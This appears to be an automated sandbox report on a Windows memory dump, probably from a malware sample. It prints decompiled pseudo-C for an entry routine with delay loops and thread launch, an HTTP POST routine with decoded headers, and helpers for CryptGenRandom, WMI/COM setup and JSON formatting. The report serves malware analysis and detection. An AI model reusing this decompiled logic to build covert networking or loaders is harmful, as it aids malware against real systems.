0x0008c872
0x0008c879
0x00000000
0x00000000
0x0008c88a
0x0008c890
0x0008c898
0x0008c89b
0x0008c8a1
0x0008c8b1
0x0008c8bd
0x0008c8c2
0x0008c8c8
0x0008c8d8
0x0008c8e4
0x0008c8ec
0x00000000
0x0008c8ec

APIs

RegisterClassExA.USER32 ref: 0008C7C7
CreateWindowExA.USER32 ref: 0008C7F2
DestroyWindow.USER32 ref: 0008C7FD
UnregisterClassA.USER32(?,00000000), ref: 0008C808
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 0008C824
GetCurrentProcess.KERNEL32(00000000), ref: 0008C91D

Part of subcall function 000885FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Strings

sadccdcdsasa, xrefs: 0008C780
0, xrefs: 0008C78F
cdcdwqwqwq, xrefs: 0008C7AC

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: ClassCurrentProcessWindow$CreateDestroyFreeHeapRegisterUnregister
String ID: 0$cdcdwqwqwq$sadccdcdsasa
API String ID: 3082384575-2319545179
Opcode ID: 320a38ae66fcedc9107e7d05ce5c89a91a9c579ca066a586150a3c2efbc1c900
Instruction ID: 56d27fbf482c3d975646c0c6fc4e7967b2fa72fb0b7d7cfbf44002fbb03df675
Opcode Fuzzy Hash: 320a38ae66fcedc9107e7d05ce5c89a91a9c579ca066a586150a3c2efbc1c900
Instruction Fuzzy Hash: C3714A71900248EFEB10DF95DD49EEEBBB9FB89700F10406AF645B7290DB74AA04CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00085F63, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 78%

			_entry_(void* __edx, struct HINSTANCE__* _a4, WCHAR* _a8) {
				char _v8;
				char _v16;
				short _v144;
				short _v664;
				void* _t19;
				struct HINSTANCE__* _t22;
				long _t23;
				long _t24;
				char* _t27;
				WCHAR* _t32;
				long _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t49;
				int _t53;
				void* _t54;
				intOrPtr* _t55;
				void* _t57;

				_t49 = __edx;
				OutputDebugStringA("Hello qqq");
				if(_a8 != 1) {
					if(_a8 != 0) {
						L12:
						return 1;
					}
					SetLastError(0xaa);
					L10:
					return 0;
				}
				E000885D0();
				_t19 = E000897ED( &_v16);
				_t57 = _t49;
				if(_t57 < 0 || _t57 <= 0 && _t19 < 0x2e830) {
					goto L12;
				} else {
					E00088F59();
					GetModuleHandleA(0);
					_t22 = _a4;
					 *0x9e69c = _t22;
					_t23 = GetModuleFileNameW(_t22,  &_v664, 0x104);
					_t24 = GetLastError();
					if(_t23 != 0 && _t24 != 0x7a) {
						memset( &_v144, 0, 0x80);
						_t55 = _t54 + 0xc;
						_t53 = 0;
						do {
							_t27 = E000895A8(_t53);
							_a8 = _t27;
							MultiByteToWideChar(0, 0, _t27, 0xffffffff,  &_v144, 0x3f);
							E000885A3( &_a8);
							_t53 = _t53 + 1;
						} while (_t53 < 0x2710);
						E00092A93( *0x9e69c);
						 *_t55 = 0x7c3;
						 *0x9e684 = E0008E1FE(0x9ba20, 0x11c);
						 *_t55 = 0xb4e;
						_t32 = E000895C2(0x9ba20);
						_a8 = _t32;
						_t33 = GetFileAttributesW(_t32);
						_push( &_a8);
						if(_t33 == 0xffffffff) {
							E000885B6();
							_v8 = 0;
							_t37 =  *0x9e684; // 0xa5f8f0
							_t38 =  *((intOrPtr*)(_t37 + 0x70))(0, 0, E00085DE7, 0, 0,  &_v8);
							 *0x9e6a8 = _t38;
							if(_t38 == 0) {
								goto L10;
							}
							goto L12;
						}
						E000885B6();
					}
					goto L10;
				}
			}

0x00085f63
0x00085f73
0x00085f7d
0x000860b1
0x000860a4
0x00000000
0x000860a6
0x000860b8
0x00086079
0x00000000
0x00086079
0x00085f83
0x00085f8b
0x00085f92
0x00085f94
0x00000000
0x00085fa7
0x00085fa7
0x00085fad
0x00085fb3
0x00085fc3
0x00085fc8
0x00085fd0
0x00085fd8
0x00085ff4
0x00085ff9
0x00085ffc
0x00085ffe
0x00086000
0x0008600d
0x00086016
0x0008601f
0x00086024
0x00086025
0x00086033
0x0008603d
0x0008604e
0x00086053
0x0008605a
0x00086061
0x00086064
0x00086070
0x00086071
0x0008607d
0x00086086
0x0008608a
0x00086098
0x0008609b
0x000860a2
0x00000000
0x00000000
0x00000000
0x000860a2
0x00086073
0x00086078
0x00000000
0x00085fd8

APIs

OutputDebugStringA.KERNEL32(Hello qqq), ref: 00085F73
SetLastError.KERNEL32(000000AA), ref: 000860B8

Part of subcall function 000885D0: HeapCreate.KERNELBASE(00000000,00080000,00000000,00085F88), ref: 000885D9

Part of subcall function 000897ED: GetSystemTimeAsFileTime.KERNEL32(?,?,00085F90), ref: 000897FA
Part of subcall function 000897ED: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0008981A

GetModuleHandleA.KERNEL32(00000000), ref: 00085FAD
GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 00085FC8
GetLastError.KERNEL32 ref: 00085FD0
memset.MSVCRT ref: 00085FF4
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,0000003F), ref: 00086016
GetFileAttributesW.KERNEL32(00000000), ref: 00086064

Strings

Hello qqq, xrefs: 00085F6E

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: File$ErrorLastModuleTime$AttributesByteCharCreateDebugHandleHeapMultiNameOutputStringSystemUnothrow_t@std@@@Wide__ehfuncinfo$??2@memset
String ID: Hello qqq
API String ID: 1203100507-3610097158
Opcode ID: 4f31329ab549de73e553f71aec2453dc4e4c4d5e3845196cd072b522dfaed058
Instruction ID: 7f496047aef766fd1361de2284b698e1d9fe11216d7a696fcc86108a41c7cf89
Opcode Fuzzy Hash: 4f31329ab549de73e553f71aec2453dc4e4c4d5e3845196cd072b522dfaed058
Instruction Fuzzy Hash: A431A371900214ABEB64BB60EC49EAE37B8FF81761F10812AF595D6292DF399944CF21

Uniqueness

Uniqueness Score: -1.00%

Function 0008E6AA, Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0008E6AA(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				int _v76;
				void* _v80;
				intOrPtr _v100;
				int _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				char* _v120;
				void _v124;
				char _v140;
				void _v396;
				void _v652;
				intOrPtr _t105;
				intOrPtr _t113;
				intOrPtr* _t115;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t131;
				char _t133;
				intOrPtr _t136;
				char _t138;
				char _t139;
				intOrPtr _t141;
				intOrPtr _t147;
				intOrPtr _t154;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t172;
				intOrPtr _t176;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				char _t195;
				intOrPtr _t203;
				intOrPtr _t204;
				signed int _t209;
				void _t212;
				intOrPtr _t213;
				void* _t214;
				intOrPtr _t216;
				char _t217;
				intOrPtr _t218;
				signed int _t219;
				signed int _t220;
				void* _t221;

				_v40 = _v40 & 0x00000000;
				_v24 = 4;
				_v36 = 1;
				_t214 = __edx;
				memset( &_v396, 0, 0x100);
				memset( &_v652, 0, 0x100);
				_v64 = E000895A8(0x85b);
				_v60 = E000895A8(0xdc9);
				_v56 = E000895A8(0x65d);
				_v52 = E000895A8(0xdd3);
				_t105 = E000895A8(0xb74);
				_v44 = _v44 & 0;
				_t212 = 0x3c;
				_v48 = _t105;
				memset( &_v124, 0, 0x100);
				_v116 = 0x10;
				_v120 =  &_v140;
				_v124 = _t212;
				_v108 =  &_v396;
				_v104 = 0x100;
				_v80 =  &_v652;
				_push( &_v124);
				_push(0);
				_v76 = 0x100;
				_push(E0008C3BB(_t214));
				_t113 =  *0x9e6a4; // 0xa5f4c0
				_push(_t214);
				if( *((intOrPtr*)(_t113 + 0x28))() != 0) {
					_t209 = 0;
					_v20 = 0;
					do {
						_t115 =  *0x9e6a4; // 0xa5f4c0
						_v12 = 0x8404f700;
						_t213 =  *_t115( *0x9e788,  *((intOrPtr*)(_t221 + _t209 * 4 - 0x24)), 0, 0, 0);
						if(_t213 != 0) {
							_t195 = 3;
							_t185 = 4;
							_v8 = _t195;
							_t118 =  *0x9e6a4; // 0xa5f4c0
							 *((intOrPtr*)(_t118 + 0x14))(_t213, _t195,  &_v8, _t185);
							_v8 = 0x3a98;
							_t121 =  *0x9e6a4; // 0xa5f4c0
							 *((intOrPtr*)(_t121 + 0x14))(_t213, 2,  &_v8, _t185);
							_v8 = 0x493e0;
							_t124 =  *0x9e6a4; // 0xa5f4c0
							 *((intOrPtr*)(_t124 + 0x14))(_t213, 6,  &_v8, _t185);
							_v8 = 0x493e0;
							_t127 =  *0x9e6a4; // 0xa5f4c0
							 *((intOrPtr*)(_t127 + 0x14))(_t213, 5,  &_v8, _t185);
							_t131 =  *0x9e6a4; // 0xa5f4c0
							_t186 =  *((intOrPtr*)(_t131 + 0x1c))(_t213,  &_v396, _v100, 0, 0, 3, 0, 0);
							if(_a24 != 0) {
								E000897ED(_a24);
							}
							if(_t186 != 0) {
								_t133 = 0x8484f700;
								if(_v112 != 4) {
									_t133 = _v12;
								}
								_t136 =  *0x9e6a4; // 0xa5f4c0
								_t216 =  *((intOrPtr*)(_t136 + 0x20))(_t186, "POST",  &_v652, 0, 0,  &_v64, _t133, 0);
								_v8 = _t216;
								if(_a24 != 0) {
									E000897ED(_a24);
								}
								if(_t216 != 0) {
									_t138 = 4;
									if(_v112 != _t138) {
										L19:
										_t139 = E000895A8(0x777);
										_t217 = _t139;
										_v12 = _t217;
										_t141 =  *0x9e6a4; // 0xa5f4c0
										_t218 = _v8;
										_v28 =  *((intOrPtr*)(_t141 + 0x24))(_t218, _t217, E0008C3BB(_t217), _a4, _a8);
										E000885A3( &_v12);
										if(_a24 != 0) {
											E000897ED(_a24);
										}
										if(_v28 != 0) {
											L28:
											_v24 = 8;
											_push(0);
											_v32 = 0;
											_v28 = 0;
											_push( &_v24);
											_push( &_v32);
											_t147 =  *0x9e6a4; // 0xa5f4c0
											_push(0x13);
											_push(_t218);
											if( *((intOrPtr*)(_t147 + 0xc))() != 0) {
												_t219 = E0008972A( &_v32);
												if(_t219 == 0xc8) {
													 *_a20 = _v8;
													 *_a12 = _t213;
													 *_a16 = _t186;
													return 0;
												}
												_t220 =  ~_t219;
												L32:
												_t154 =  *0x9e6a4; // 0xa5f4c0
												 *((intOrPtr*)(_t154 + 8))(_v8);
												L33:
												if(_t186 != 0) {
													_t158 =  *0x9e6a4; // 0xa5f4c0
													 *((intOrPtr*)(_t158 + 8))(_t186);
												}
												if(_t213 != 0) {
													_t203 =  *0x9e6a4; // 0xa5f4c0
													 *((intOrPtr*)(_t203 + 8))(_t213);
												}
												return _t220;
											}
											GetLastError();
											_t220 = 0xfffffff8;
											goto L32;
										} else {
											GetLastError();
											_t162 =  *0x9e6a4; // 0xa5f4c0
											 *((intOrPtr*)(_t162 + 8))(_t218);
											_t218 = 0;
											goto L23;
										}
									}
									_v12 = _t138;
									_push( &_v12);
									_push( &_v16);
									_t172 =  *0x9e6a4; // 0xa5f4c0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t172 + 0x18))() == 0) {
										L18:
										GetLastError();
										goto L19;
									}
									_v16 = _v16 | 0x00003380;
									_push(4);
									_push( &_v16);
									_t176 =  *0x9e6a4; // 0xa5f4c0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t176 + 0x14))() != 0) {
										goto L19;
									}
									goto L18;
								} else {
									GetLastError();
									L23:
									_t164 =  *0x9e6a4; // 0xa5f4c0
									 *((intOrPtr*)(_t164 + 8))(_t186);
									_t186 = 0;
									goto L24;
								}
							} else {
								GetLastError();
								L24:
								_t166 =  *0x9e6a4; // 0xa5f4c0
								 *((intOrPtr*)(_t166 + 8))(_t213);
								_t213 = 0;
								goto L25;
							}
						}
						GetLastError();
						L25:
						_t204 = _t218;
						_t209 = _v20 + 1;
						_v20 = _t209;
					} while (_t209 < 2);
					_v8 = _t218;
					if(_t204 != 0) {
						goto L28;
					}
					_t220 = 0xfffffffe;
					goto L33;
				}
				_t183 = 0xfffffffc;
				return _t183;
			}

0x0008e6b3
0x0008e6c5
0x0008e6ce
0x0008e6d8
0x0008e6dc
0x0008e6ed
0x0008e704
0x0008e711
0x0008e71e
0x0008e72b
0x0008e72e
0x0008e733
0x0008e738
0x0008e73a
0x0008e742
0x0008e74d
0x0008e754
0x0008e760
0x0008e763
0x0008e771
0x0008e774
0x0008e77a
0x0008e77b
0x0008e77d
0x0008e786
0x0008e787
0x0008e78c
0x0008e792
0x0008e79c
0x0008e79e
0x0008e7a3
0x0008e7a3
0x0008e7b2
0x0008e7c1
0x0008e7c5
0x0008e7d4
0x0008e7d7
0x0008e7dc
0x0008e7e0
0x0008e7e7
0x0008e7ee
0x0008e7f6
0x0008e7fe
0x0008e805
0x0008e80d
0x0008e815
0x0008e81c
0x0008e824
0x0008e82c
0x0008e841
0x0008e84e
0x0008e850
0x0008e855
0x0008e855
0x0008e85c
0x0008e86d
0x0008e872
0x0008e874
0x0008e874
0x0008e888
0x0008e89a
0x0008e89c
0x0008e89f
0x0008e8a4
0x0008e8a4
0x0008e8ab
0x0008e8ba
0x0008e8be
0x0008e8fc
0x0008e901
0x0008e909
0x0008e90e
0x0008e919
0x0008e91f
0x0008e929
0x0008e92c
0x0008e935
0x0008e93a
0x0008e93a
0x0008e943
0x0008e98c
0x0008e98e
0x0008e995
0x0008e996
0x0008e999
0x0008e99f
0x0008e9a3
0x0008e9a4
0x0008e9a9
0x0008e9ab
0x0008e9b1
0x0008e9c6
0x0008e9ce
0x0008ea03
0x0008ea08
0x0008ea0d
0x00000000
0x0008ea0f
0x0008e9d0
0x0008e9d2
0x0008e9d2
0x0008e9db
0x0008e9de
0x0008e9e0
0x0008e9e2
0x0008e9e8
0x0008e9e8
0x0008e9ed
0x0008e9ef
0x0008e9f6
0x0008e9f6
0x00000000
0x0008e9f9
0x0008e9b3
0x0008e9bb
0x00000000
0x0008e945
0x0008e945
0x0008e94b
0x0008e951
0x0008e954
0x00000000
0x0008e954
0x0008e943
0x0008e8c0
0x0008e8c6
0x0008e8ca
0x0008e8cb
0x0008e8d0
0x0008e8d2
0x0008e8d8
0x0008e8f6
0x0008e8f6
0x00000000
0x0008e8f6
0x0008e8da
0x0008e8e4
0x0008e8e6
0x0008e8e7
0x0008e8ec
0x0008e8ee
0x0008e8f4
0x00000000
0x00000000
0x00000000
0x0008e8ad
0x0008e8ad
0x0008e956
0x0008e956
0x0008e95c
0x0008e95f
0x00000000
0x0008e95f
0x0008e85e
0x0008e85e
0x0008e961
0x0008e961
0x0008e967
0x0008e96a
0x00000000
0x0008e96a
0x0008e85c
0x0008e7c7
0x0008e96c
0x0008e96f
0x0008e971
0x0008e974
0x0008e977
0x0008e980
0x0008e985
0x00000000
0x00000000
0x0008e989
0x00000000
0x0008e989
0x0008e796
0x00000000

APIs

memset.MSVCRT ref: 0008E6DC
memset.MSVCRT ref: 0008E6ED
memset.MSVCRT ref: 0008E742
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 0008E7C7

Strings

POST, xrefs: 0008E88D

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: bcc3e27f44aff163cdf6aa850cce91d67c5c3682975e9bd2ec9b9850afe413d2
Instruction ID: 29d0154718d895a48c92b36f026742f62314de024879df0f02f683bed0031956
Opcode Fuzzy Hash: bcc3e27f44aff163cdf6aa850cce91d67c5c3682975e9bd2ec9b9850afe413d2
Instruction Fuzzy Hash: 84B15C71900218AFEB54EFA4DC89AEE7BB8BF58310F10406AF545E72A1DB749E40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000902EA, Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 445COMMON

Download Yara Rule

APIs

_snprintf.MSVCRT ref: 0009036A
qsort.MSVCRT ref: 000905E8

Strings

%I64d, xrefs: 0009035C
false, xrefs: 0009034D
null, xrefs: 0009032F
true, xrefs: 00090341
, xrefs: 000905E5
, xrefs: 000902F8, 000906CF, 000906D9, 000905BA, 00090549, 000904D7, 00090354, 00090384, 00090398, 00090399, 000903BB, 000903C3, 000903DB, 000903EB, 00090477, 0009050A, 00090522, 00090599, 000905BF, 000905C5, 000905C6, 0009060A, 000906D2, 000906D3

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true$$
API String ID: 756996078-3248215655
Opcode ID: 4a206477d0ade5e916c7d82e72087fac9d090124020821ef9d5af1ff13053305
Instruction ID: ebb5a5c62ca3dcce896a42093dc0e8649a3f910e3309fa835c03ab8f887ca20d
Opcode Fuzzy Hash: 4a206477d0ade5e916c7d82e72087fac9d090124020821ef9d5af1ff13053305
Instruction Fuzzy Hash: E3E18171A0020ABFDF11AF64CC46EEF3BADEF55340F108029FE5596152E731DA61ABA4

Uniqueness

Uniqueness Score: -1.00%

Function 0009215A, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0009215A(char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				int _t15;
				char* _t24;
				char* _t26;
				char* _t28;
				char* _t29;
				signed int _t40;
				char* _t43;
				char* _t45;
				long long* _t47;

				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t26 = _a4;
				_push(_t30);
				 *_t47 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t26);
				L000922BD();
				_t40 = _t12;
				if(_t40 < 0 || _t40 >= _a8) {
					L19:
					_t13 = _t12 | 0xffffffff;
					goto L20;
				} else {
					L00092305();
					_t15 =  *((intOrPtr*)( *_t12));
					if(_t15 != 0x2e) {
						_t24 = strchr(_t26, _t15);
						if(_t24 != 0) {
							 *_t24 = 0x2e;
						}
					}
					if(strchr(_t26, 0x2e) != 0 || strchr(_t26, 0x65) != 0) {
						L11:
						_t43 = strchr(_t26, 0x65);
						_t28 = _t43;
						if(_t43 == 0) {
							L18:
							_t13 = _t40;
							L20:
							return _t13;
						}
						_t45 = _t43 + 1;
						_t29 = _t28 + 2;
						if( *_t45 == 0x2d) {
							_t45 = _t29;
						}
						while( *_t29 == 0x30) {
							_t29 = _t29 + 1;
						}
						if(_t29 != _t45) {
							E000886E7(_t45, _t29, _t40 - _t29 + _a4);
							_t40 = _t40 + _t45 - _t29;
						}
						goto L18;
					} else {
						_t12 = _t40 + 3;
						if(_t12 >= _a8) {
							goto L19;
						}
						_t26[_t40] = 0x302e;
						( &(_t26[2]))[_t40] = 0;
						_t40 = _t40 + 2;
						goto L11;
					}
				}
			}

0x0009215d
0x00092162
0x00092166
0x00092166
0x0009216b
0x00092170
0x00092171
0x00092174
0x00092175
0x0009217a
0x0009217d
0x0009217e
0x00092183
0x0009218a
0x00092230
0x00092230
0x00000000
0x00092199
0x00092199
0x000921a0
0x000921a4
0x000921ab
0x000921b4
0x000921b6
0x000921b6
0x000921b4
0x000921c5
0x000921eb
0x000921f4
0x000921f6
0x000921fc
0x0009222b
0x0009222b
0x00092233
0x00092236
0x00092236
0x000921fe
0x000921ff
0x00092205
0x00092207
0x00092207
0x0009220c
0x0009220b
0x0009220b
0x00092213
0x0009221f
0x00092229
0x00092229
0x00000000
0x000921d5
0x000921d5
0x000921db
0x00000000
0x00000000
0x000921dd
0x000921e3
0x000921e8
0x00000000
0x000921e8
0x000921c5

APIs

_snprintf.MSVCRT ref: 0009217E
localeconv.MSVCRT ref: 00092199
strchr.MSVCRT ref: 000921AB
strchr.MSVCRT ref: 000921BC
strchr.MSVCRT ref: 000921CA
strchr.MSVCRT ref: 000921EF

Strings

%.*g, xrefs: 00092175
, xrefs: 0009216F, 00092170, 000921EB

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: strchr$_snprintflocaleconv
String ID: %.*g$
API String ID: 1910550357-811258474
Opcode ID: 7664915f9979d19fbe91d7157e52710d74d6d47ab21c2b303f846be776087aa4
Instruction ID: 48dffbfe29af58806f7e26389f2570971aa095f3053ecab5a2df4101b6395fc7
Opcode Fuzzy Hash: 7664915f9979d19fbe91d7157e52710d74d6d47ab21c2b303f846be776087aa4
Instruction Fuzzy Hash: 732167762847017ADF259B68EC86BEB37DCEF16720F150015FA408A283EA75ED50B3A0

Uniqueness

Uniqueness Score: -1.00%

Function 000916F0, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 70
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E000916F0(signed int* _a4) {
				char _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				char _v20;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				void* _t22;
				intOrPtr* _t28;
				signed int _t29;
				signed int _t30;
				struct HINSTANCE__* _t32;
				void* _t34;

				_t30 = 0;
				_v8 = 0;
				_t32 = GetModuleHandleA("advapi32.dll");
				if(_t32 == 0) {
					L9:
					return 1;
				}
				_t16 = GetProcAddress(_t32, "CryptAcquireContextA");
				_v12 = _t16;
				if(_t16 == 0) {
					goto L9;
				}
				_t17 = GetProcAddress(_t32, "CryptGenRandom");
				_v16 = _t17;
				if(_t17 == 0) {
					goto L9;
				}
				_t28 = GetProcAddress(_t32, "CryptReleaseContext");
				if(_t28 == 0) {
					goto L9;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if(_v12() == 0) {
					goto L9;
				}
				_t22 = _v16(_v8, 4,  &_v20);
				 *_t28(_v8, 0);
				if(_t22 == 0) {
					goto L9;
				}
				_t29 = 0;
				do {
					_t30 = _t30 << 0x00000008 |  *(_t34 + _t29 - 0x10) & 0x000000ff;
					_t29 = _t29 + 1;
				} while (_t29 < 4);
				 *_a4 = _t30;
				return 0;
			}

0x000916f9
0x00091700
0x00091709
0x0009170d
0x00091788
0x00000000
0x0009178a
0x0009171b
0x0009171d
0x00091722
0x00000000
0x00000000
0x0009172a
0x0009172c
0x00091731
0x00000000
0x00000000
0x0009173b
0x0009173f
0x00000000
0x00000000
0x00091741
0x00091746
0x00091748
0x00091749
0x0009174d
0x00091753
0x00000000
0x00000000
0x0009175e
0x00091767
0x0009176b
0x00000000
0x00000000
0x0009176d
0x0009176f
0x00091777
0x00091779
0x0009177a
0x00091782
0x00000000

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,00000000,00000000,00000000,0008763B,?,?,00000000,?), ref: 00091703
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00000000,?), ref: 0009171B
GetProcAddress.KERNEL32(00000000,CryptGenRandom,?,?,00000000,?), ref: 0009172A
GetProcAddress.KERNEL32(00000000,CryptReleaseContext,?,?,00000000,?), ref: 00091739

Strings

CryptAcquireContextA, xrefs: 00091715
advapi32.dll, xrefs: 000916FB
CryptGenRandom, xrefs: 00091724
CryptReleaseContext, xrefs: 00091733

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: 655cf0b23e1451d570487c5493d98a1b0c0b12902124c8b0dedc83f08aadfb10
Instruction ID: 7fdc4f0f6aaa44df7a4b36d05e84f53a5a1be7caad4b7dfd5aeac40d407615ad
Opcode Fuzzy Hash: 655cf0b23e1451d570487c5493d98a1b0c0b12902124c8b0dedc83f08aadfb10
Instruction Fuzzy Hash: C7117735B046177BDF615BE98CC8DEEBBFDAF45741F1400A5EA11E6240DA70CD01A764

Uniqueness

Uniqueness Score: -1.00%

Function 0008D78A, Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 0008D79E
SysAllocString.OLEAUT32(?), ref: 0008D7A6
SysAllocString.OLEAUT32(00000000), ref: 0008D7BA
SysFreeString.OLEAUT32(?), ref: 0008D835
SysFreeString.OLEAUT32(?), ref: 0008D838
SysFreeString.OLEAUT32(?), ref: 0008D83D

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 0ae35b3864b79a2002ceb2acc07a6214e28e9f75c0e65d5a7fc5e6ecf6b65d72
Instruction ID: 204230854e776adb52a2a1a5bf40ee50c1139d69a1c7b266b95cca093d954732
Opcode Fuzzy Hash: 0ae35b3864b79a2002ceb2acc07a6214e28e9f75c0e65d5a7fc5e6ecf6b65d72
Instruction Fuzzy Hash: BF21F775A00218EFDB10EFA5CC88DAFBBBDFF48354B10449AF505A7251DA70AE05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0009082F, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

\u%04X\u%04X, xrefs: 00090988
\u%04X, xrefs: 00090949
, xrefs: 0009082F, 00090836

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID:
String ID: \u%04X$\u%04X\u%04X$
API String ID: 0-223117982
Opcode ID: ad3677773898463b826370865ef61fb4a1262acb6dcbc071cab37c5794fd638b
Instruction ID: a930ef95356e53a95952b9cc4321f5d0d219051c23132d0a069292d46551cfe3
Opcode Fuzzy Hash: ad3677773898463b826370865ef61fb4a1262acb6dcbc071cab37c5794fd638b
Instruction Fuzzy Hash: 6041B571700305AFFF789A589D9ABBF3AA8DF01710F140025FA82D6393D665CD91B6D1

Uniqueness

Uniqueness Score: -1.00%

Function 0008D565, Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0008D565(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x9b848, 0, 1, 0x9b858, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E000885E5(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

0x0008d572
0x0008d575
0x0008d578
0x0008d589
0x0008d58f
0x0008d5a0
0x0008d5a8
0x0008d5f9
0x0008d5f9
0x0008d5fe
0x0008d603
0x0008d603
0x0008d606
0x0008d60b
0x0008d610
0x0008d610
0x0008d613
0x0008d5aa
0x0008d5ab
0x0008d5b1
0x0008d5c2
0x0008d5c7
0x00000000
0x0008d5c9
0x0008d5d6
0x0008d5de
0x00000000
0x0008d5e0
0x0008d5e2
0x0008d5ea
0x00000000
0x0008d5ec
0x0008d5ef
0x0008d5f5
0x0008d5f5
0x0008d5ea
0x0008d5de
0x0008d5c7
0x0008d618

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 0008D578
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0008D589
CoCreateInstance.OLE32(0009B848,00000000,00000001,0009B858,?), ref: 0008D5A0
SysAllocString.OLEAUT32(00000000), ref: 0008D5AB
CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0008D5D6

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

